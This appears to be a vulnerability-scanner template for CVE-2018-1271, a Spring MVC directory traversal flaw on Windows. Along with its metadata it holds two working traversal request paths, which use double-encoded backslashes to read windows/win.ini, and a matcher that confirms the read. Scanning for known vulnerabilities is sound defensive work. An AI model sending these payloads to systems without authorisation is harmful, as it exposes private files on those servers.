id: CVE-2018-1271

info:
  name: Spring MVC Directory Traversal Vulnerability
  author: hetroublemakr
  severity: medium
  reference: https://medium.com/@knownsec404team/analysis-of-spring-mvc-directory-traversal-vulnerability-cve-2018-1271-b291bdb6be0d
  tags: cve,cve2018,spring,lfi,traversal
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 5.90
    cve-id: CVE-2018-1271
    cwe-id: CWE-22
  description: "Spring Framework, versions 5.0 prior to 5.0.5 and versions 4.3 prior to 4.3.15 and older unsupported versions, allow applications to configure Spring MVC to serve static resources (e.g. CSS, JS, images). When static resources are served from a file system on Windows (as opposed to the classpath, or the ServletContext), a malicious user can send a request using a specially crafted URL that can lead a directory traversal attack."

requests:
  - method: GET
    path:
      - '{{BaseURL}}/static/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini'
      - '{{BaseURL}}/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini'
    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'for 16-bit app support'
      - type: status
        status:
          - 200